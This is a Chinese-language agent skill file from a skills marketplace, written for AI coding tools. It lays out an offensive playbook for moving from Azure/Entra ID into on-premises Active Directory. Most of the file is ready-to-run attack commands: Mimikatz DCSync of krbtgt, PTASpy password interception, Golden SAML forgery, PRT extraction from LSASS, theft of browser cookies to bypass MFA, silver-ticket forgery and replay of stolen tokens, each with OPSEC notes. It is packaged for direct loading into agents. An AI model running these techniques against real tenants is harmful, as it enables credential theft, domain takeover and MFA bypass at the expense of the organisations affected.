skills/cloud/azure-hybrid-lateral/SKILL.md
Azure Cloud 到本地 AD 的横向移动方法论。当已获取 Azure/Entra ID 权限并需要穿越到本地 Active Directory 环境、发现目标使用 Azure AD Connect/Cloud Sync/PTA/Federation 等混合身份架构、或需要利用 PRT/Certificate/Cookie 等凭据进行 Cloud-to-OnPrem 横向时使用。覆盖 14 种横向技术:Pass the PRT/Certificate/Cookie、Cloud Kerberos Trust、Connect Sync/Cloud Sync 凭据提取、PTA Agent 后门、Federation Token 伪造、Seamless SSO 银票、Exchange Hybrid 模拟、Arc GPO 部署脚本注入、本地云凭据提取
npx skillsauth add wgpsec/AboutSecurity azure-hybrid-lateralInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
在现代企业环境中,Azure/Entra ID 与本地 Active Directory 之间的混合身份架构极为普遍。这种架构在提供便利的同时,也创造了独特的攻击面——攻击者一旦控制了云端身份(Entra ID),便可借助同步服务、信任关系和凭据桥接机制穿越到本地 AD 环境,反之亦然。Cloud-to-OnPrem 横向移动是红队评估中最关键的攻击阶段之一,也是防御方最容易忽视的盲区。
核心要点:混合身份架构中的每一个同步组件(Connect Sync、Cloud Sync、PTA Agent、Federation)都是潜在的横向移动桥梁。攻击者需要首先识别目标使用的混合身份架构类型,然后选择对应的横向技术。
识别到具体攻击集群后,加载对应参考文档获取完整技术细节:
获取云端或本地权限后,按以下决策树选择可用的横向技术:
混合身份架构识别
├─ 检测到 Azure AD Connect Sync(MSOL_* 账户存在)
│ ├─ 已控制 Connect Sync 服务器 → Connect Sync 凭据提取(DCSync)
│ ├─ 有 Entra ID GA 权限 + Password Writeback 启用 → 云端重置 AD 密码
│ └─ 检测到 Seamless SSO(AZUREADSSOACC$ 存在) → 银票伪造访问云端
│ → 读 references/identity-sync-attacks.md
│
├─ 检测到 Cloud Sync(provAgentgMSA 账户存在)
│ ├─ 已控制 gMSA 密码读取权限 → Cloud Sync gMSA 提取 + DCSync
│ └─ AD 用户同步到 Entra ID → 修改密码等待同步
│ → 读 references/identity-sync-attacks.md
│
├─ 检测到 PTA Agent(Pass-through Authentication)
│ ├─ 已控制 PTA 服务器 → 安装 PTASpy 后门(拦截所有密码 + 允许任意密码)
│ └─ 有 GA 权限 → 注册恶意 PTA Agent
│ → 读 references/identity-sync-attacks.md
│
├─ 检测到 Federation(AD FS 服务器存在)
│ ├─ 已控制 AD FS 服务器 → 提取 Token Signing 证书 → Golden SAML
│ └─ 有 Exchange Hybrid → ACS Actor Token 模拟
│ → 读 references/identity-sync-attacks.md
│
├─ 检测到 Cloud Kerberos Trust(AzureADKerberos$ 存在)
│ ├─ 有 GA/Hybrid Identity Admin 权限 → 修改用户 SID → Partial TGT → Full TGT
│ └─ 目标 MSOL 账户 → DCSync 全域
│ → 读 references/token-credential-attacks.md
│
├─ 检测到 Domain Services(AAD DC Administrators 组存在)
│ ├─ 有 Entra ID 权限 → 添加用户到 AAD DC Administrators → RDP 接管
│ └─ 托管域 → 密码哈希同步利用
│ → 读 references/identity-sync-attacks.md
│
├─ 检测到 Arc GPO 部署(AzureArcDeploy 共享目录存在)
│ ├─ 可创建/控制 AD 机器账户 → 解密 SP 密钥 → 云端接管
│ └─ → 读 references/identity-sync-attacks.md
│
├─ 已控制设备(Azure AD Joined/Hybrid Joined)
│ ├─ 设备有 PRT → Pass the PRT(提取 + 构造 PRT Cookie)
│ ├─ 设备有 PRT + NegoEx → Pass the Certificate
│ ├─ 浏览器有 Azure 会话 → Pass the Cookie(ESTSAUTH/ESTSAUTHPERSISTENT)
│ └─ 设备有云端应用(Excel/Teams)→ 内存中提取 JWT Token
│ → 读 references/token-credential-attacks.md
│
└─ 已获取用户凭据(密码/哈希/TGT)
├─ 用户已同步到 Entra ID → 直接登录云端
├─ 有 AZUREADSSOACC$ 哈希 → Seamless SSO 银票
└─ 有 KRBTGT 哈希 → Golden Ticket 后通过 Seamless SSO 访问云端
→ 读 references/token-credential-attacks.md
| # | 技术名称 | 方向 | 前置条件 | 所需权限 | 关键工具 | 隐蔽性 | |---|---------|------|---------|---------|---------|--------| | 1 | Connect Sync 凭据提取 | AD↔Cloud | Connect Sync 服务器访问 | 服务器本地管理员 | AADInternals, adconnectdump | 中 | | 2 | Cloud Sync gMSA 提取 | AD→Cloud | Cloud Sync Agent 部署 | DC 机器账户哈希或 gMSA 读取权限 | DSInternals, Mimikatz | 中 | | 3 | PTA Agent 后门 | Cloud→AD | PTA Agent 服务器访问 | 服务器本地管理员 | AADInternals (PTASpy) | 低 | | 4 | Federation / Golden SAML | AD→Cloud | AD FS 服务器访问 | Domain Admin | ADFSDump, shimit, AADInternals | 高 | | 5 | Domain Services | Cloud→AD | Domain Services 已部署 | Entra ID 用户管理权限 | Azure Portal/CLI | 低 | | 6 | Arc GPO 脚本注入 | AD→Cloud | Arc GPO 部署共享可达 | AD 机器账户 | PowerShell (DPAPI-NG) | 中 | | 7 | Pass the PRT | 设备→Cloud | Azure AD Joined 设备访问 | 本地管理员/用户 | Mimikatz, ROADtools, AADInternals | 高 | | 8 | Pass the Certificate | 设备→设备 | PRT + NegoEx 支持 | PRT 提取权限 | PrtToCert, AzureADJoinedMachinePTC | 高 | | 9 | Pass the Cookie | 浏览器→Cloud | 浏览器会话存在 | 用户级别(DPAPI 解密) | Mimikatz (dpapi::chrome) | 高 | | 10 | Seamless SSO 银票 | AD→Cloud | Seamless SSO 启用 | AZUREADSSOACC$ 哈希 | Mimikatz, SeamlessPass, Rubeus | 高 | | 11 | Cloud Kerberos Trust | Cloud→AD | Cloud Kerberos Trust 启用 | Global Admin / Hybrid Identity Admin | ROADtools Hybrid, Impacket | 高 | | 12 | Exchange Hybrid 模拟 | AD→Cloud | Exchange Hybrid 部署 | Exchange 服务器访问 | 自定义 OAuth 工具 | 中 | | 13 | 本地云凭据提取 | 设备→Cloud | 已入侵终端设备 | 本地管理员/用户 | WinPEAS, 手动搜索 | 高 | | 14 | Hybrid Misc(强制同步等) | AD↔Cloud | 混合身份同步启用 | AD 用户属性修改权限 | PowerShell, AADInternals | 中 |
Azure AD Connect Sync 在安装服务器上创建 MSOL_<installationID> 账户,该账户拥有本地 AD 的 DCSync(目录复制)权限。凭据以 DPAPI 加密方式存储在本地 SQL 数据库 ADSync.mdf 中。攻击者控制 Connect Sync 服务器后,可提取 MSOL 账户密码执行 DCSync 获取全域哈希。
# 提取 Connect Sync 存储的凭据
Install-Module -Name AADInternals -RequiredVersion 0.9.0
Import-Module AADInternals
Get-AADIntSyncCredentials
# 使用 MSOL 账户执行 DCSync
runas /netonly /user:domain\MSOL_<id> cmd
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'
枚举:搜索 MSOL_*、Sync_*、ADSyncMSA* 账户确认 Connect Sync 存在。
Cloud Sync 使用 provAgentgMSA 组托管服务账户(gMSA),默认拥有 DCSync 权限。gMSA 密码通常仅允许 DC 机器账户读取。攻击者需先获取 DC 机器账户哈希,然后以其身份读取 gMSA 密码。
# 枚举 gMSA 账户
Get-ADServiceAccount -Filter * -Server domain.local
# 获取 DC 机器账户哈希后读取 gMSA 密码
$Passwordblob = (Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties msDS-ManagedPassword -server domain.local).'msDS-ManagedPassword'
$decodedpwd = ConvertFrom-ADManagedPasswordBlob $Passwordblob
ConvertTo-NTHash -Password $decodedpwd.SecureCurrentPassword
Pass-through Authentication Agent 从 Azure AD 队列中获取加密凭据并在本地 AD 验证。攻击者控制 PTA 服务器后,可安装后门拦截所有明文密码并允许任意密码通过验证(类似 Skeleton Key 攻击)。
# 安装 PTASpy 后门
Install-AADIntPTASpy
# 读取拦截到的明文密码
Get-AADIntPTASpyLog -DecodePasswords
# 移除后门
Remove-AADIntPTASpy
注意:获取 GA 权限后可注册新的 PTA Agent 实现持久化。
AD FS 使用 Token Signing 证书签名 SAML Response。攻击者提取该私钥后可伪造任意用户的 SAML 令牌(Golden SAML),绕过密码和 MFA 认证。证书不会自动轮换,且修改用户密码不影响已生成的 SAML。
# 从 AD FS 服务器导出 Token Signing 证书
Export-AADIntADFSSigningCertificate
# 使用 shimit 伪造 SAML Response
python shimit.py -idp http://adfs.domain.com/adfs/services/trust -pk key.pem -c cert.pem -u domain\admin -n [email protected] -r ADFS-admin -id 123456789012
Microsoft Entra Domain Services 在 Azure 中部署托管 AD。AAD DC Administrators 组成员在域内 VM 上拥有本地管理员权限。攻击者只需将用户加入该组即可通过 RDP 接管域内所有 VM。
Azure Arc 通过 GPO 部署脚本将服务器接入 Azure,Service Principal 密钥使用 DPAPI-NG 加密存储在网络共享中。攻击者创建或控制 AD 机器账户后即可解密该密钥,以 Service Principal 身份访问 Azure。
# 使用机器账户 TGT 解密 SP 密钥
Import-Module .\AzureArcDeployment.psm1
$encryptedSecret = Get-Content "\\share\AzureArcDeploy\encryptedServicePrincipalSecret"
$ebs = [DpapiNgUtil]::UnprotectBase64($encryptedSecret)
Primary Refresh Token(PRT)是 Azure AD 设备上的长生命周期刷新令牌,类似于 Kerberos TGT。PRT 及其 Session Key 缓存在 LSASS 的 CloudAP 插件中。无 TPM 设备上可直接从内存提取;有 TPM 设备上可通过 BrowserCore COM 接口或 WAM API 间接获取 PRT Cookie。
# 从 LSASS 提取 PRT 和 Session Key(无 TPM)
privilege::debug
sekurlsa::cloudap
token::elevate
dpapi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect
# 生成 PRT Cookie
dpapi::cloudapkd /context:<ContextHex> /derivedkey:<DerivedKeyHex> /prt:<PRT>
# 使用 roadtx 续期 PRT
roadtx prt -a renew --prt <PRT> --prt-sessionkey <clear_key>
roadtx browserprtauth
非管理员路径:通过 BrowserCore COM(RequestAADRefreshToken.exe)或 ROADtoken 在用户级别获取 PRT Cookie。
基于 PRT 向 Entra ID CA 请求用户 P2P 证书,然后使用该证书通过 NegoEx 认证访问其他 Azure AD Joined 机器。
# 请求 P2P 证书
RequestCert.py --tenantId <TenantID> --prt <PRT> --userName <User> --hexCtx <Ctx> --hexDerivedKey <Key>
# 使用证书访问远程机器
Main.py --usercert user.pfx --certpass <pass> --remoteip <target_ip>
从浏览器提取 Azure 认证 Cookie(ESTSAUTH、ESTSAUTHPERSISTENT),使用 DPAPI 解密后注入浏览器即可绕过 MFA 直接访问 Azure 资源。
# 使用 Mimikatz 提取 Chrome Cookie
mimikatz.exe privilege::debug log "dpapi::chrome /in:%localappdata%\google\chrome\USERDA~1\default\cookies /unprotect" exit
# 将 ESTSAUTHPERSISTENT Cookie 注入浏览器 → 访问 login.microsoftonline.com
Seamless SSO 在 AD 中创建 AZUREADSSOACC$ 计算机账户,其密码永不更换且以明文发送给 Entra ID。攻击者获取该账户哈希后可为任意同步用户伪造 Kerberos 银票访问云端资源。
# 提取 AZUREADSSOACC$ 哈希
mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit
# 使用 SeamlessPass 获取云端令牌
seamlesspass -tenant corp.com -adssoacc-ntlm <hash> -user-sid <SID>
# 或伪造银票
mimikatz.exe "kerberos::golden /user:<target> /sid:<domain_SID> /id:<RID> /domain:domain.local /rc4:<hash> /target:autologon.microsoftazuread-sso.com /service:HTTP /ptt" exit
注意:AZUREADSSOACC$ 密码永不更换,一次提取即可长期利用。银票不绕过 MFA。
当环境启用 Cloud Kerberos Trust 时,Entra ID 可为 AD 用户签发 Partial TGT。攻击者拥有 Global Admin 权限后,可通过 Sync API 修改混合用户的 onPremisesSID 指向高权限 AD 账户(如 MSOL 同步账户),然后获取 Partial TGT 并在 DC 上换取 Full TGT,最终执行 DCSync。
# 修改混合用户的 on-prem SID 指向目标账户
python3 modifyuser.py -u <GA_UPN> -p <Password> --sourceanchor <ImmutableID> --sid <Target_SID> --sam <Target_SAM>
# 获取 PRT 中的 Partial TGT
roadtx getprt -u <HybridUser> -p <Password> -d <DeviceID>
# 将 Partial TGT 换为 Full TGT + NTLM 哈希
python3 partialtofulltgt.py -p roadtx.prt -o full_tgt.ccache --extract-hash
# DCSync
secretsdump.py 'DOMAIN/<TargetSAM>$@<DC_IP>' -hashes :<NTLM_hash>
旧版 Exchange Hybrid 设计中,本地 Exchange 可使用与 Exchange Online 相同的 Entra 应用身份。攻击者从 Exchange 服务器提取 Hybrid 证书私钥后,可通过 ACS Actor Token 模拟任意用户访问 Exchange Online 和 SharePoint/OneDrive。graph.windows.net 的模拟路径已被修补,但 Exchange/SharePoint 模拟在未完成身份分离迁移的环境中仍然有效。
入侵终端设备后可从多个位置提取云端凭据:
| 位置 | 凭据类型 | 路径/方法 |
|------|---------|----------|
| Azure CLI | Access Token(明文) | C:\Users\<user>\.Azure\accessTokens.json |
| Azure PowerShell | Token Cache | C:\Users\<user>\.Azure\TokenCache.dat |
| Azure PowerShell | SP Secret(明文) | C:\Users\<user>\.Azure\AzureRmContext.json |
| 进程内存 | JWT Token(明文) | 转储 Excel/Teams 进程内存,grep eyJ0 |
| 浏览器 | Session Cookie | DPAPI 解密浏览器 Cookie 存储 |
# 从进程内存提取 JWT Token
strings excel.dmp | grep 'eyJ0'
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/me | jq
| 工具 | 用途 | 适用场景 | |------|------|---------| | AADInternals | Connect Sync/PTA/Seamless SSO/PRT 攻击 | 全场景混合身份攻击 | | ROADtools (roadtx/roadrecon) | PRT 操作、Cloud Kerberos Trust、设备注册 | Cloud→OnPrem 穿越 | | Mimikatz | PRT/Cookie/DPAPI/DCSync/银票 | 凭据提取与票据伪造 | | Rubeus | Kerberos 票据操作、S4U、银票 | Seamless SSO/RBCD 攻击 | | SeamlessPass | Seamless SSO 一键利用 | TGT/TGS/哈希→云端令牌 | | adconnectdump | Connect Sync 凭据远程提取 | 远程 Connect Sync 攻击 | | shimit | Golden SAML 伪造 | Federation 攻击 | | Impacket | DCSync/secretsdump/getST/addcomputer | AD 核心攻击工具集 | | PrtToCert | PRT→P2P 证书生成 | Pass the Certificate | | ROADtoken | 用户级 PRT Cookie 获取 | 非管理员 PRT 利用 | | DSInternals | gMSA 密码读取、NTDS.dit 解析 | Cloud Sync/Seamless SSO | | WinPEAS | 自动化本地凭据搜索 | 本地云凭据发现 |
# 检测 Connect Sync(从 AD 侧)
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" -Properties * | select SamAccountName,Description
Get-ADServiceAccount -Filter "SamAccountName -like 'ADSyncMSA*'"
# 检测 Cloud Sync(从 AD 侧)
Get-ADServiceAccount -Filter "ObjectClass -like 'msDS-GroupManagedServiceAccount'"
# 检测 Seamless SSO(从 AD 侧)
Get-ADComputer -Filter "SamAccountName -like 'AZUREADSSOACC$'"
# 检测 Cloud Kerberos Trust(从 AD 侧)
Get-ADComputer -Filter "SamAccountName -like 'AzureADKerberos$'"
# 检测 PTA Agent(从 Entra ID 侧)
az rest --url 'https://graph.microsoft.com/beta/onPremisesPublishingProfiles/authentication/agentGroups?$expand=agents'
# 检测 Cloud Sync Agent(从 Entra ID 侧)
az rest --method GET --uri "https://graph.microsoft.com/beta/onPremisesPublishingProfiles('provisioning')/agents/?\$expand=agentGroups"
# 检测同步配置(从 Entra ID 侧)
az rest --url "https://graph.microsoft.com/v1.0/directory/onPremisesSynchronization"
# 检测 Federation(从外部)
Import-Module AADInternals
Invoke-AADIntReconAsOutsider -Domain <domain> | Format-Table
C:\PTASpy 创建文件夹会留下文件系统痕迹Get-AADIntSyncCredentials 需要本地管理员权限访问 SQL 数据库,操作本身不产生网络日志sekurlsa::cloudap 需要 SYSTEM 权限访问 LSASS,会触发 EDR/Sysmon 的 LSASS 访问告警AZUREADSSOACC$ 密码永不更换,一次提取后攻击者可无限期伪造银票adminCount=1 的用户(Domain Admins 等)不受影响azure-pentesting 技能,获取 Azure 环境的整体攻击流程和初始访问方法azure-ad-attack 技能,获取 Entra ID 权限提升和持久化技术testing
Azure 云环境渗透测试总体方法论。当目标使用 Azure/Microsoft 365/Entra ID、发现 Azure 相关资产(Blob Storage/App Service/Azure VM/Azure Functions)、获取 Azure 凭据(Service Principal/Managed Identity/Access Token)、或需要对 Azure 环境进行安全评估时使用。提供从未授权枚举到 Entra ID 攻击、服务提权、Cloud-to-OnPrem 横向移动的全流程决策树。覆盖 35+ Azure 服务攻击面
tools
Mythic C2 操作方法论。当需要部署 Mythic、选择 Mythic Agent、安装 C2 Profile、配置 HTTP/DNS/WebSocket/SMB/TCP 通信、生成 payload、管理回连任务,或把 Mythic 作为跨平台 C2 框架用于授权红队演练时使用。覆盖 mythic-cli 安装、Agent/Profile 选择、SSL 证书配置、payload 构建和基础 OPSEC 判断
development
Docker 安全测试与容器渗透方法论。当需要评估 Docker 容器、Docker Daemon、Docker Registry、镜像层、构建产物或容器逃逸风险时使用。覆盖容器环境识别、特权容器逃逸、docker.sock/Remote API 利用、procfs/cgroup/capabilities 滥用、Docker 用户组提权、运行时/内核 CVE、Registry 枚举、镜像层 Secret 分析和构建上下文泄露。发现 Docker 容器环境、Registry 暴露、镜像凭据或容器配置错误时应使用此技能
development
使用 PadBuster 进行 Padding Oracle 攻击。当发现 Web 应用使用 CBC 模式加密且存在 Padding Oracle 漏洞时使用。PadBuster 可自动解密密文和伪造任意明文对应的合法密文,适用于加密 Cookie/Token/URL 参数。任何涉及 Padding Oracle 攻击、CBC 密文解密、Cookie 伪造的场景都应使用此技能